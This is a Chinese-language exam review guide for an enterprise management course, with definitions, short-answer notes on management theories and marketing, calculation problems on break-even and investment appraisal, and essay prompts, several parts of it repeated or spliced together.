精华内容
下载资源
问答
  • 针对当前国内煤炭企业集团面临的内外部发展新环境和新要求,对新时代背景下强化企业战略规划管理的必要性开展系统性分析。在此基础上,结合煤炭企业管理工作特点与实际管理情况,构建了战略规划管理体系,并对其主要...
  • 6.10.2 企业数据分布式模型 132 6.10.3 分布式数据仓库中的元数据 134 6.11 在多种层次上建造数据仓库 134 6.12 多个小组建立当前细节级 136 6.12.1 不同层不同需求 138 6.12.2 其他类型的细节数据 140 6.12.3 元...
  • 在复杂的动态环境中,企业保持竞争优势本质是使内部核心能力与外部环境相匹配,将两者结合构成了完整的企业生存系统。为准确判断企业核心能力系统与外部环境系统之间的协调度,借助协同学原理,对企业生存系统进行了...
  • 在全球激烈的竞争环境中,持续创新对企业的生存与发展至关重要。为此,从企业组织特性的视角出发,提出组织特性维度的理论框架,并对腾讯公司创新过程进行探索性案例研究,分析企业组织要素,如企业文化、员工、管理者、...
  • 企业招标投标知识产权管理体系的理论初探,蔡志芳,,在认知企业招标投标过程中的知识产权要素的基础上,对企业招标投标知识产权管理体系的内涵、内部构成及其外部环境进行界定。尝试
  • 企业管理复习题库

    万次阅读 2020-09-23 07:17:37
    2020 年春季《企业管理》复习大纲(考试时间:90 分钟) 试题类型: ...2、管理的含义:管理是根据事物的客观规律,通过计划、组织、领导和控制等职能作用于管理对象,使之适应外部环境,以达到组织

    2020 年春季《企业管理》复习大纲(考试时间:90 分钟)
    试题类型:
    单选题 15 分;
    判断题 10 分;名词解释 20 分;简答题 20 分;计算题 20 分
    论述题 15 分
    一、名词解释题
    1、企业管理:指人们在一定的生产方式和文化背景下,依照一定的管理原理、原则和方法,对企业的人力、财力、物力等各种资源及其经济活动过程进行有效的计划、组织、领导和控制,以取得最佳经济效益的过程
    2、管理的含义:管理是根据事物的客观规律,通过计划、组织、领导和控制等职能作用于管理对象,使之适应外部环境,以达到组织目标的人类活动(管理的有效性必须由效率和效果加以证明和评定)
    3、资金时间价值:资金的时间价值是指在使用资金过程中由于上述原因而引起资金价值的变化。(1通货膨胀,引起货币的贬值,今年的一元钱比明年的一元钱的价值大;2风险承担,现在拿到一元钱比今后得到一元钱稳妥可靠;3货币增值,通过经济活动人们使今年的一元钱到明年多于一元。货币增值主要通过两种方式实现——投资和储蓄;4时间偏好,人们对现在的财富的偏好,甚于未来的财富)
    4、产品生命周期:指某一工业产品从试制成功投放市场开始,直到被市场淘汰退出市场为止的全部过程所经历的时间
    5、机会成本:指在决策分析过程中,从各个备选方案选取某种最优方案而放弃次优方案所损失的潜在利益,也可称作机会损失
    6、沉没成本:指由于过去的决策所引起,并已经支付过款项而发生的成本
    7、目标市场选择:按照某细分依据可将整体市场划分为若干个细分市场,企业可根据外部环境和自身条件,决定和选择对自己适合有利的目标市场
    8、市场细分:根据消费者需求的差异性,把整个市场划分为若干个消费群体,并在此基础上确定企业目标市场
    9、德尔菲法:以匿名方式通过几轮函讯,征求专家们的意见,预测小组对每一轮的意见都进行汇总整理,作为参考资料再发给每个专家,供他们分析判断,提出新的论证,如此多次反复,大家的意见渐趋一致,结论的可靠性越来越大
    10、产品差异化战略:通过公司形象,产品特性,客户服务,技术特点,经销网络等形式,努力形成一些在全行业范围内都具有特色的东西,使用户建立起品牌偏好与忠诚
    11、市场营销组合:指企业根据目标市场的特点和需要,全面考虑企业的任务、目标和外部环境,对企业可控因素加以最佳的组合和应用,以实现企业的目标和任务
    12、决策:决策就是“对未来行动作出决定”。决策是为实现某一特定目标,借助一定的科学手段和方法,从两个以上的可行方案中,选择一个最优或满意的方案,并组织实施的全部行为过程
    13、预测:根据事物过去、现在和未来的有关资料和信息,通过已有的方法、知识和科学手段,对事物的发展变化和它的未来趋势做出分析和主观判断
    14、企业战略控制:指在企业经营战略实施过程中,检查企业为达到目标所进行的各项活动的进展情况,评价实施战略后企业的绩效,把它与预定的战略目标与绩效标准相比较,分析产生偏差的原因,纠正偏差,使企业战略的实施更好地与企业当前的内外环境、企业目标协调一致,使企业战略得以实现
    二、简答题
    1、请简述市场营销 4Ps 策略:4P分别为:产品(product),价格(price),促销(promotion)和渠道(place),S代表策略(Strategy)
    2、请简述人性假设理论的主要内容:①“经济人” 假说:认为人的一切行为都是为了最大
    限度地满足自己的私利,工作目的只是为了获取经济报酬②“社会人”假说:重视
    社会需要和自我尊重的需要,轻视物质需要与经济利益需要的人; ③“自我实现
    人”假说:人类需要的最高层次就是自我实现,每个人都必须成为自己所希望的那
    种人④“复杂人”假说:认为不同的人有不同的需要,同一个人在不同的时间,地
    点需要也不同,需要是复杂的,不断变化的,因而人是也复杂的
    3、请简述“双因素”激励理论的主要内容:人有两种不同的需要,即避免不愉快或不满足
    的需要和需求个人发展或自我实现的需要。与之相适应的两类不同的因素,即保健
    因素和激励因素起着不同的作用
    4、简述现代市场营销观念的要点:企业的任务是确定目标市场上顾客的需求,欲望和利益,
    并且在保持和增进消费者和社会福利的情况下,比竞争者更有效率地是目标顾客满意
    5、霍桑试验所得出的结论:一,工人限产的秘密是工人中存在一种默契;二,企业中存在着“非正式组织”;三,非正式组织中存在“自然领袖”
    6、简述管理的四大基本职能的主要内容:计划:确定目标,制定战略,以及开发分计划以
    协调活动;组织:决定需要做什么,怎么做,由谁去做;领导:指导和激励所有参与者以及解决冲突;控制:对活动进行监控以确保其按计划完成
    7、泰勒科学管理理论的主要内容:运用科学方法制定标准操作方法和工作定额;差别计件
    工资制;把管理职能和作业职能分开;实行职能工长制;主张实行“例外原则”
    8、请问什么是管理的效率和效果?管理应以效果优先还是效率优先:效率涉及的是获得方
    式 ,效果涉及的是活动的结果。管理应以效果优先,有了确定的目标才能在效率
    上下功夫,如果只是追求效率,对于结果并不看重,就失去了管理的意义
    9、简述管理是科学性和艺术性的统一:“管理是科学”是指管理是由一些概念,原理,原
    则和方法构成的科学知识体系,是有规律可循的;“管理是艺术”是说管理在运用
    时具有较大的技巧性,创造性和灵活性;两者不是相互排斥而是相互补充和转化的。
    管理的艺术可以上升为科学理论,管理艺术又需要理论指导;而科学理论的运用也
    必须讲究艺术,管理是科学和艺术性的有机统一
    10、简述霍桑试验的过程及其试验结论:第一阶段是工厂照明实验,研究照明强度对工作
    效率的影响;第二阶段是继电器装配测试室实验,考察工资报酬,工作日和工作周的长度,工间休息对生产率的影响;第三阶段是访谈实验,在全厂范围内开展征询职工意见,与职工进行交谈的实验;第四阶段是接线板小组观察实验,实验计件工资对生产率的影响。结论:一,工人限产的秘密是工人中存在一种默契;二,企业中存在着“非正式组织”;三,非正式组织中存在“自然领袖”
    11、简述马斯洛的需求层次理论:人类主要的需求可分为五层,即生理需要,安全需要,社交需要,尊重需要和自我实现需要。这五种需要由低级向高级依次排列而形成一个层系
    12、什么是市场?市场构成的要素是什么?市场是一定时间,地点,条件下商品交换关系的综合体现。构成要素:购买者,购买力,购买欲望
    13、企业在制定战略时主要考虑的外部环境因素有哪些:行业内现有竞争对手的威胁,潜在进入者的威胁,替代品生产者的威胁,供应商的威胁,买方的威胁
    14、请简述领导方格理论,并指出 5 种典型管理风格的特点: “1-1”管理(贫乏型管理):主管人既不关心人也不关心生产,只做一些最基本工作;“9-9”管理(集体精神型管理):主管人无论对人还是对工作都表现出最高水平的关心;“1-9”管理(俱乐部型管理):主管人极少关心生产而关心人;“9-1”管理(任务型管理):主管人只关心生产任务,很少或不关心人;“5-5”管理(中庸型管理):主管人对生产和人的关心都是一般化
    15、简述迈克尔.波特五力模型的主要内容:认为行业中存在着决定竞争规模和程度的五种力量,五种力量分别为同行业内现有竞争者的竞争能力、潜在竞争者进入的能力、替代品的替代能力、供应商的讨价还价能力、购买者的讨价还价能力
    三、计算题
    1、某企业 2018 年预计产销 A 产品 1000 件,每件销售单价 50 元,单位变动成本 20 元,固定成本总额为在这里插入图片描述

    12000 元。试求:
    (1)计算盈亏平衡点的销售量和销售额;
    (2)计算经营安全率并对该企业的经营状况进行判断;
    (3)计算预计可实现的利润。
    2、某公司要举办一个展销会,会址在甲、乙、丙三地中进行选择,资料如下表。

    S1(天气好) S2(天气一般) S2(天气坏)
    P(S1)=0.35 P(S2)=0.50 P(S3)=0.15 d1(甲地) 4 6 3
    d2(乙地) 3 4 7
    d3(丙地) 8 3 2 从(1)(2)中任选一种计算得出决策(12 分)(要求写出决策过程或画出决策分析表) (1)决策树法 (2)乐观法、悲观法、乐观系数法(α=0.4)和等可能法。 3、现要拟建一个工程项目,起始时用去投资 1000 万元,第 1 年年末投资 2000 万元,第 2 年年末再投资
    1500 万元,从第 3 年起,连续 8 年每年年末获利 1200 万元。假定工程项目的残值不计,基准贴现率为 12%。
    试画出工程项目的现金流量图,求出该工程项目的净现值为多少万元?
    4、某企业拟增加一台新的生产设备,设备投资为 150 万元,设备经济寿命期为 5 年,5 年后设备残值为 0。
    每年的现金流量如下表所示(单位为万元),试在基准投资收益率为 10%的条件下,计算 NPV 和 IRR 指标,
    并分析该投资方案经济可行性。
    在这里插入图片描述

    5、某企业全年固定成本为 50000 元,产品单价为 500 元,单位变动成本为 300 元,试求: (1)盈亏平衡时的销售量及销售额?
    (2)设目标利润为 20000 元,实现的销售量为多少?
    6、某企业全年固定成本为 10000 元,产品单价为 12 元,单位变动成本为 5 元,已接受订货 200 单位,尚有剩余生产能力 200 单位。如果另有一项订货 160 单位,只以 10 元认购,企业是否应该接受新的订货,请 用边际贡献法进行分析
    7、设某企业全年固定成本为 50000,产品单价 500 元,单位变动成本为 300 元,试求:

    (1)盈亏平衡时的销售量和销售额
    (2)设企业拟定的目标利润为 30000 元,实现目标利润的销售量为多少?
    (3)在实现目标利润的状态下,企业的经营安全状态如何?
    经营安全率 0.3 以上 0.25-0.3 0.15-0.25 0.1-0.15 0.1 以下
    经营安全状态 安全 较安全 不太好 要警惕 危险
    8、设某企业全年固定成本为 50000 元,产品单价为 500 元,单位变动成本为 300 元,企业经营安全状态判 断标准如下表,

    试求:(1)盈亏平衡时的销售量及销售额;
    (2)设企业拟定的目标利润为 20000 元,实 现目标利润的销售量为多 少?
    (3)在实现目标利润的状态下,企业的经营安全状态如何?
    9、某地书店欲订购新书。新书可能销售量为 50、100、 150、200 本。每本新书订购价为 4 元,销售价为 6 元,剩书处理价为 2 元。试建立损益矩阵,并分别用四种非确定型决策法决定书店应订购数量(α=0.4)。
    在这里插入图片描述

    10、某公司想要投资扩张,请银行为其贷款。银行经理考虑是否为其贷款。因为提供贷款后,公司的投资 扩张可能成功,也可能失败。假定该企业与银行每年的业务值为 200 万元,如扩张成功(概率为 0.7)值可能下降为 100 万元。如果银行不提供贷款,公司也可能继续与银行保持原有业务关系,也可能将其业务转到其他银行(转移的概率为 0.6)。请用决策树法和期望值法进行决策。
    11、某外贸公司 2018 年第一季度至第三季度的对外贸易额分别为 3125、2197、3324 万元。 (1)用算术平均法预测第四季度贸易额。
    (2)设各季度权数分别为 0.25,0.35,0.4,用季节系数法预测第四季度贸易额。
    四、论述题
    1、从营销角度出发,试分析一个完整的产品概念包括哪几层含义?并举例说明。
    2、请论述在学习本课程之后,在生活或学习方面受到的启示,请结合管理理论和知识来进行论述。(字数
    不少于 300 字)
    3、简要介绍你所了解的领导效能理论,并结合相关理论,试论述作为一名管理者,应如何有效的进行管理?
    (字数不少于 200 字)
    4、运用 SWOT 分析法,分析自己目前的情况,并进行未来的职业生涯选择。(字数不少于 200 字)
    5、结合所学营销策略对康师傅方便面提出改进建议。(字数不少于 200 字)
    6、试论述在学习本课程之后你对管理的理解,请结合所学理论进行论述。(字数不少于 300 字)
    二、选择题

    1.管理的二重性是指管理的(A、D )
    A.自然属性 B.艺术性 C. 科学性 D.社会属性 E.实践性
    2.管理的主要职能包括 (A、B、C、D、F )
    A.计划 B.组织 C.指挥 D.协调 E.领导 F.控制
    3.管理的主要技能包括 (A、C、D )
    A.人际 B.诊断 C.概念 D.技术
    在管理控制活动中,有一种控制是用过去的情况来指导现在和将来 , 这种控制是(B )。
    A 前馈控制 B 反馈控制 C 过程控制 D 间接控制
    4管理的载体就是( B )
    A.资源 B.组织 C.活动 D.过程
    5关于管理的应用范围,你认为下列哪个说法最好( B )
    A.只适用于盈利性工业企业; B.普遍适用于各类组织;
    C.只适用于非营利性组织; D.只适用于营利性组织
    7管理的主体是( D )
    A.环境 B.组织 C.过程 D.管理者
    8管理的客体是( D )
    A.人 B.机器 C.权利 D.各种资源和过程
    9管理的(D)职能本身并没有特有的表现形式,总是和其他管理职能的结合中体现自己的存在和价值
    A.计划 B.组织 C.经营D.创新
    10管理人员与一般工作人员的根本区别在于( D )
    A.需要与他人配合完成组织目标;B.需要从事具体的文件签发审阅工作;
    C.需要对自己的工作成果负责 D.需要协调他人的努力以实现组织目标
    11企业管理者可以分成基层、中层、高层三种,高层管理者主要负责制定( B )
    A.日常程序性决策 B.长远全局性决策
    C.局部程序性决策 D.短期操作性决策
    12能够更好地处理上下级、同级关系的技能属于( D )
    A.抽象技能 B.概念技能 C.技术技能D.人际技能
    13能够迅速把握全局,找出关键影响因素的技能属于( B )
    A.抽象技能 B.概念技能 C.技术技能D.人际技能
    14掌握关键技术知识,出色完成生产任务的技能属于( C )
    A.抽象技能 B.概念技能 C.技术技能D.人际技能
    15越是处于高层的管理者,其对于概念技能、人际技能、技术技能的需要,就越是按以下顺序排列( C )
    A.概念技能,技术技能,人际技能;B.技术技能,概念技能,人际技能;
    C.概念技能,人际技能,技术技能;C.人际技能,技术技能,概念技能

    16( D )对于所有层次管理的重要性大体相同
    A.抽象技能 B.概念技能 C.技术技能D.人际技能
    17决策过程的第一步是( B )
    A. 拟定备选方案 B.确认并诊断问题,确定目标
    C. 评一、名词解释题
    1、企业管理
    人们在一定的生产方式和文化背景下,依照一定的管理原则、原则和方法,对企业的人力、财力、物力等各种资源及其经济活动过程进行有效的计划、组织、领导和控制,已取得最佳经济效益的过程。
    2、管理的含义
    管理事物的客观规律,通过计划、组织、领导和控制等职能作用于管理对象,使之适应外部环境,以达到组织目标的人类活动。
    3、资金时间价值
    以货币形式表现的资金,投入到生产或流通领域时,是会增加新价值的;这种价值的增加量是随时间的延续而增大的,这就是资金的时间价值。
    4、投资回收期
    投资回收期亦称“返本期”是反应投资项目资金回收速度的重要指标。它是通过项目的净收益来回收总投资所需的时间。
    5、机会成本
    在决策分析过程中,从各个备选方案选取某种最优方案而放弃次优方案所丧尸的潜在利益,亦可称作机会损失。
    6、沉没成本
    指那些由于过去的决策所引起,并已经支付过款项而发生的成本。这类成本一般都是过去已经发生,当然就无法由现在或将来的任何决策所能变更的成本。
    7、目标市场选择
    按照某细分依据可将整体市场划分为若干个细分市场。在此基础上,企业可根据外部环境和自身条件,决定和选择对自己适合有利的目标市场。
    8、市场细分
    根据消费者需求的差异性,把整个市场划分为若干个消费群体,并在此基础上确定企业目标市场。其中每一个需求的特点相类似的消费者群称为一个细分市场。
    9、德尔菲法
    它以匿名方式通过几轮函询,征求专家们的意见。预测领导小组对每一轮的意见都进行汇总整理,作为参考资料再发给每个专家,供他们分析判断,提出新的论证。如此多次反复,大家的意见渐趋一致,结论的可靠性越来越大。
    10、产品差异化战略
    通过公司形象、产品特性、客户服务、技术特点、经销网络等形式,努力形成一些在全行业范围内都具有特色的东西,使用户建立起品牌偏好与忠诚。

    二、简答题
    1、请简述市场营销策略?
    市场营销策略一共可大致分为四个阶段策略:产品策略,价格策略,促进策略和渠道策略。

    1. 产品策略:
      即一个产品组合的策略,开发新产品的策略及产品商标和包装的策略,以最大限度满足顾客需求。一个产品的生命周期分为:投入期,生长期,成熟期和衰退期。所以要根据产品不同时期采取不同销售策略。当产品进入衰退期后企业要根据新产品开发策略开发新产品。当产品越来越多,产品生产线随之增多后,企业要将多品种生产线进行组合以求尽可能大的经济效益。最终设计一个特色鲜明,简洁明了的商标和美观大方的包装进入市场。
    2. 价格策略:
      价格是决定产品销售的重要因素之一,价格营销策略即分析价格影响因素,确立合理价格,满足市场需求并获得良好的营销效果的过程。一个产品的价格受成本和供求关系两方面影响。当产品基本价格确定后,运用适当的价格策略,制定出恰当的投放市场价格。
    3. 促进策略:
      营销促进就是企业为了激发顾客购买欲望扩大销售的行为。促进策略即计划的选择和运用促销的手段。扩大影响的方式有两种:广告投放和人员促销。
    4. 渠道策略:
      企业要选择合理的营销渠道用最高效率和最低费用将产品送至用户手中。销售渠道分为两种。一种为生产者→消费者,另一种为生产者→中间商→消费者。

    2、请简述常见的组织结构类型的特征和适用条件?《P9》
    (1)直线制组织结构
    适用:小型企业,技术,产品单一
    特征:组织内上级管理层与下级管理层按垂直系统管理
    (2)职能制组织结构
    适用:中小企业
    特征:按照分工负责原则,在组织内设置若干职能机构
    (3)直线职能制组织结构
    适用:中等企业
    特征:集中领导,便于调配人,财,物,且职责清楚。有利于提高办事效率。
    (4)事业部制组织结构
    适用:规模较大、且经营领域分散的企业集团
    特征:集中决策,分散经营
    (5)矩阵制组织结构
    适用:大企业
    特征:同一小组的成员既与原来的职能部门保持组织和业务上的垂直联系,又与项目小组 保持横向联系。

    3、请简述SWOT分析法。《P94》

    分五步
    1.确认企业当前执行的战略。
    2.确认企业外部环境的关键性变化,把握可能出现的机会与威胁。
    3.确认企业的资源组合状况,确认企业优势和劣势。
    4.列出外部环境和内部条件的各关键因素,并进行分析归类。
    5.将各个因素在swot矩阵上具体定位,确定企业的战略能力。

    4、简述现代市场营销观念的要点。
    {企业利润、消费者需要的满足、社会利润(不以牺牲环境为代价)}
    市场营销观念是指企业的领导者在组织和谋划企业的营销管理活动时所依据的指导思想。市场营销观念是企业领导者对市场的根本态度和看法,他对企业的行为起着引导作用
    现在市场营销观念是一方面给社会及广大消费者带来巨大利益,另一方面也不会破坏生态平衡,不会造成环境污染。以及市场营销活动必须考虑消费者及社会长远利益。
    5、霍桑试验所得出的结论。《P28》
    1、金钱和物质并不是激发人们热情的唯一动机,影响人工作效率的诸多因素还有社会心理因素,人是社会人,而不是经济人。
    2、工作态度与士气是影响工作效率的关键因素,新型管理者不仅经济技术上的专家,还应该善于处理人际关系,做到深入基层,沟通思想,联络感情,鼓舞士气。
    3、企业中存在“非正式组织”还有非正式团体,能左右成员行为,利用好可以激发职工士气,利用不好,也会起到消极,离散不良影响。

    6、简述管理的四大基本职能的主要内容。《P4》
    计划:确定目标,制定战略以及开发分计划以协调活动
    组织:决定需要做什么,怎么做,有谁做
    领导:指导和激励所有参与者以及解决冲突
    控制:对活动进行监控以确保其按计划完成

    7、泰勒科学管理理论的主要内容。《P12》
    (1)运用观测分析的方法制定标准的操作方法和工作定额。
    (2)实行有差别的计件工资制
    (3)把管理职能和作业职能分开
    (4)实行职能工长制
    (5)主张实行“例外原则”

    8、请问什么是管理的效率和效果?管理应以效果优先还是效率优先?《P2》
    效率:管理的极其重要的组成成分,它是指输入与输出的关系。(方式)
    效果:活动的结果
    管理是效率与效果的统一,我们在争取高目标的同时应注意低浪费

    9、简述管理的科学性和艺术性的双重属性。《P3》
    科学:管理是由一些概念,原理,原则和方法构成的科学知识体系,是由规律可循的,是可以通过学习和传授而得到的
    艺术:管理在运用时具有较大的技巧性,创造性和灵活性。
    管理是科学与艺术的有机统一。

    10、叙述霍桑试验的及其试验结论。《P28》
    在霍桑工厂中具有完整的娱乐设施、药疗制度和养老金制度,但工人仍有不满情绪,经常消极怠工。在第一阶段发现逐步增加福利或光照并没有提高工人的工作效率。第二阶段发现即使给予压力或者好处,人们也会自动限产。最后经过大量的调查询问发现了真正的原因。
    结论:1、金钱和物质并不是激发人们热情的唯一动机。
    2、工作态度与士气是影响工作效率的关键因素。
    3、企业中存在“非正式组织”

    11、简述马斯洛的需求层次理论。《P31》
    人类主要的需要可由低级到高级分五层:生理,安全,社交,尊重,自我实现

    12、简述市场营销的4P组合。《P111》
    产品、价格、促销、渠道

    13、企业在制定战略时主要考虑的外部环境因素有哪些?《P88》
    (1)企业的一般环境
    技术变化、人口趋势、文化趋势、法律和政治环境、经济趋势、特殊国际环境
    (2)企业的行业环境
    行业内现有的竞争对手的威胁、潜在进入者的威胁、替代品生产者的威胁、供应商的威胁、买房的威胁
    (3)企业的竞争对手
    (4)目标市场估可选方案 D.选择方案第一模块管理概论 一、简述法约尔管理过程理论的主要内容(法约尔管理过程理论)
    1、从企业经营活动中提炼出管理活动
    2、倡导管理教育
    3、明确了管理的五种职能
    4、归纳了管理的一般原则,并提出十四条管理原则
    二、管理的科学性和艺术性
    1、从理论的角度讲管理是科学,是说管理是由一些概念原理原则和方法构成,科学知
    识体系是可以通过学习和承受而得到的,有规律可循。
    2、从实践的角度来讲管理是艺术,是说管理在运用时具有较大的技巧性、创造性和灵
    活性 3、两者之间的关系:两者不是相互排斥而是相互补充和转化的,管理的艺术可以上升
    为科学理论,同时又需要理论的指导,而科学理论的应用必须讲究艺术
    三、管理的四个基本职能及其含义
    计划:为实现组织既定的目标,对未来的行动进行规划和安排的活动。
    组织:决定需要做什么。怎么做,由谁去做
    领导:能够引导、影响他人团队,在一定条件下实现目标的过程。
    控制:监视各种活动以保证他们按计划进行并纠正各种重要偏差的过程。
    四、组织结构的基本形式,及其主要特点
    1、直线制组织结构:特点:组织内上级管理层与下级管理层按垂直系统进行管理。信
    息沟通和传递渠道只有一条通道。一个下级只接受一个上级管理者的命令,而不设专
    门的职能部门。
    2、职能制组织结构:特点:按照分工负责原则,在组织内设置若干个职能机构。上级
    领导将具体的专业性指挥权委托给职能机构,职能机构在自己的业务范围内向下级下
    达命令和指示。 3、直线职能制组织结构:特点:职能管理人员是直线指挥人员的参谋,只能对下级机
    构进行业务指导,而不能对下级进行直线指挥与命令。集中领导,便于调配人、财、
    物,而且职责清楚,有利于提高办事效率。但各部门之间信息沟通少,传递路线较长,
    使整个组织系统对环境的适应性较差。 4、事业部制组织结构:特点:事业部是按产品、地区、顾客来划分部门的,拥有一定
    的经营自主权、独立核算、对产品的设计制造和销售活动负有统一领导的职能
    5、矩阵制组织结构:特点:横向职能部门与纵向分部纵横交错,联系紧密
    五、泰勒科学管理理论的主要内容
    1、劳动方法标准化原理 2、培训工人科学化原理 3、实行奖励工资制原理
    4、管理职能专业化原理 5、例外原则管理和劳动分离
    第二模块:人力资源管理
    1.人力资源:包括在人体内的生产能力,基本要素为体力,智力,技能,知识,声誉,
    关系等。是表现在劳动者身上的,以劳动者数量和质量表示的资源。
    2.人力资源管理:所谓人力资源管理就是在一定环境条件下,通过计划、组织、协调
    与激励等职能,对组织中人与人、人和事、事与事之间的关系进行调谐,以充分挖掘
    人的潜能,激发人的创造力,从而实现个人愿望与组织目标的一系列活动过程。
    3.人力资本:指花费在人力保健、教育、培训等方面的投资所形成的资本
    4.工作分析:是人力资源规划的基石,是全面了解获取与工作有关的详细信息的过程。
    5.职业生涯:指一个人一生中所有与职业相联系的行为与活动,以及相关的态度、价
    值观、愿望等连续性经历的过程,也是一个人一生中职业、职位的变迁及工作、理想
    的实现过程。
    6.绩效:是组织期望的结果,是组织为实现其目标而展现在不同层面上的有效输出,
    它包括个人绩效和组织绩效两个方面
    7.薪酬:员工因向所在的组织提供劳务而获得的各种形式的酬劳。
    二、简答
    (一)培训管理体系。
    1、培训:通过任何途径提升员工的技能,知识,行为和态度,以有助于达到组织目标
    的系统化过程。 2、培训理念目标:最大福利、体现以人为本、提升人力资本价值、实现组织目标
    3、培训形式:岗前培训、在职培训、外派培训 4、培训方式:工作轮换,现场培训,讲授,研讨,实例分析,录像,体验式,内部网,
    远程教育。
    (二)全面薪酬管理与传统薪酬管理的区别。
    1、传统薪酬战略往往只着眼于薪酬的外部竞争力和内部公平性,采用的工具也较为简
    单,主要是要素计点法等工作评价技术以及绩效加薪方案。
    2、全面薪酬制度既不是单一的工资,也不是纯粹的货币形式的报酬,它还包括精神方
    面的激励,比如优越的工作条件、良好的工作氛围、培训机会、晋升机会等,这些方
    面也应该很好地融入到薪酬体系中去。
    3.内在薪酬和外在薪酬应该完美结合,偏重任何一方都是跛脚走路。物质和精神并重。
    (三)绩效管理与绩效考核的区别。
    1.对人性的假设前提不同。绩效考核的基本的人性假设是性恶论,认为只有通过不断
    地考核才能鞭策和防止员工偷懒,而绩效管理的人性观是现代的以人为本的人性观
    念,相信每个人都有自我完善和自我实现的潜能,只要给予足够的信任和激励,每
    位员工都能自觉地发挥积极性和创造性。
    2.管理的宽度不同。对绩效管理整个体系来讲,绩效考核仅仅是冰山一角。
    3.管理的目的不同。绩效考核的目的就是通过考核得到一个关于员工工作情况和工作
    效果的结论,主要用于对员工薪资水平上的奖惩,在现代绩效管理最重要的用途是
    用于员工的绩效改进计划。
    4.管理者扮演的角色不同。绩效考核中角色:裁判员;绩效管理中角色:辅导员、记
    录员、裁判员。
    四、舒尔茨人力资本理论的主要观点。
    1.人力资本存在与人的身上。表现为知识、技能、体力价值的总和,一个国家的人力
    资本可以通过劳动者的数量,质量以及劳动时间来衡量。
    2.人力资本是投资形成的。渠道包括营养及医疗保健费用,学校教育费用在职人员培
    训费用,择业过程中迁徙作用,
    3.人力资本投资是经济增长的主要源泉。
    五、招聘渠道及其优劣势比较。
    渠道:内部招聘、外部招聘
    第四模块 财务管理
    一、项目投资考虑的几个关键要素?对投资项目净现值的理解。
    预期现金流量;预计未来现金流量的风险,并确定预期现金流量的概率分布和期
    望值;资本成本贴现率;计算投资方案现金流入量和流出量的总现值;投资回收期;
    贷款偿还期;内部收益率;净现值率;净现值;净年值;(净现值是一个动态指标,反
    应该项目在整个寿命期内净收益的现值之和)。
    项目生命周期:指投资项目从开始投入资金(开始建设)到项目的寿命周期终结
    为止的整个期限,计算利息的次数,通常以“年”为单位。
    现金流估算:估计分析期的现金流入量、现金流出量、净现金流量。
    项目风险:高风险一个投资项目的
    净现值(NPV)反映了该项目在整个寿命期内净收益的现值之和,它是反映投资项
    目获利能力的一个重要的动态指标。
    三、理解资产法、市场法、收益法价值评估三种方法?
    资产法,是指在被评估资产现时重置成本的基础上,扣减其各项损耗价值,从而
    确定被评估资产价值的方法。
    市场法,也称现行市价法或市场价格比较法,是指通过比较被评估资产与最近售
    出(交易)的类似资产的异同,将类似资产的市场价格进行调整,从而确定被评估资
    产价值的一种资产评估方法。
    收益法,是指通过估算被评估资产的未来预期收益并折算成现值,借以确定被评
    估资产价值的一种方法。
    比较:市场法的资料直接来源于市场,同时又为即将发生的资产业务估价,所以
    市场法的应用,与市场经济体制的建立与发展,资产的市场化程度密切相关。运用市
    场法进行资产评估的资料具有时效性。而成本法的资料是历史资料,受时间的限制不
    外部招聘的优点:
    1、来源广,余地大,有利于招到一流的人才
    2、带来新思想和新方法。
    3、可平息或缓和内部竞争者之间的矛盾
    4、人才现成,节约培训投资
    外部招聘的缺点:
    1、进入角色慢
    2、对企业了解少
    3、可能影响内部员工的积极性
    内部招聘优点:
    (1)了解全面,准确性高
    (2)可鼓舞士气,激励员工
    (3)可更快的适应工作
    (4)使组织培训的投资得到回报
    (5)选择费用低
    内部招聘缺点:
    (1)来源局限,水平有限
    (2)近亲繁殖
    (3)可能造成内部矛盾
    大。收益法则是通过估算未来预期收益来评估资产价值。
    第五模块 市场营销 一、市场营销观念的发展历程。
    市场营销的观念:企业领导者对市场的根本态度和看法,它对企业的行为起着引
    导作用。
    1、生产观念:企业应致力于提高生产效率、扩大生产、降低成本、扩大销售覆盖
    面。 重生产,轻营销。典型的卖方市场。
    2、产品观念:企业应致力于提高产品质量、不断改进产品,酒香不怕子深。重质
    量,轻营销
    3、推销观念:只要努力推销,商品都可以售出
    4、市场营销观念:认为企业的营销管理工作应以目标顾客的需求为中心,发现需
    求并设法满足它。
    5、社会市场营销观念:强调要将企业利润、消费需要和社会长远利益统一起来,
    企业对消费需求的满足,不仅要体现消费者当前的愿望,更要顾及消费者和整个社会
    的长远利益。
    二、目标市场战略类型
    目标市场涵盖方式:无差异性目标市场策略 差异性目标市场策略 集中性目标市
    场策略 A 无差异性目标市场策略:(依据:低成本)把整个市场作为一个大目标,针对消
    费者的共同需要,制订统一生产和销售计划,以实现开拓市场,扩大销售 优点是:
    便于大量生产,生产成本低,管理简单。缺点是:不能满足差异性市场需求,因而丢
    掉一部分市场。
    B 差异性目标市场策略: (依据:重视需求差异)针对不同目标市场的特点,分别
    制定出不同的营销计划,按计划生产营销目标市场所需要的商品,满足不同消费者的
    需要。优点:满足市场差异性要求,有利于扩大市场,增加总销售量,提高消费者对
    企业的信任感。缺点:由于产品品种和营销组合多样化,生产和经营费用较高。
    C 集中性目标市场策略:(依据:重视需求差异)适合资力薄弱的小企业,在市场
    竞争中站稳脚跟。但是,这一战略的不足是经营者承担风险较大,如果目标市场的需
    求情况突然发生变化,企业就可能陷入困境。优点:企业可以集中有限的资源,扬长
    弊短,充分发挥自己的优势,同时实行专业化生产,节省费用。缺点:由于目标市场
    比较单一和窄小,一旦市场情况发生变化,企业可能陷入困境。因此,风险较大。
    三、市场细分使得市场变小了吗?它有什么作用。(市场细分的作用)
    市场细分指将整个市场按照购买者的特性划分为若干个具有相同性质的消费者组
    成的较小的细分市场的过程。
    1 有利于企业确定目标市场和制定有效的营销策略。 2 有利于企业发现良好的市场机会,进而采取相应策略,提高市场占有率。
    3 有利于充分发挥企业特长,以较少的费用取得较大的收益。 4 有利于企业集中有限的人、财、物等资源,更好地满足消费者的某种需要。
    有利于企业发现新的市场机会 有利于企业巩固现有的市场
    有利于企业制定营销战略和策略 有利于企业有效的利用营销资源
    第六模块 生产运作 一、根据总需要量、预计到货量、订货提前期等已知条件,试确定现有数、
    净需求量和计划发出订货量。 二、试述如何建立一个制造型企业的生产系统?
    方案一:1、制定战略 2、选址 3、布局
    4、(1)生产组织:生产选作系统设计即产品设计、技术设计、生产能力、流程设计
    (2)生产运作过程控制即生产计划、库存管理、质量管理、设备管理 5、需求满足
    方案二:1)在岗培训 2)离岗培训 3)自我教育
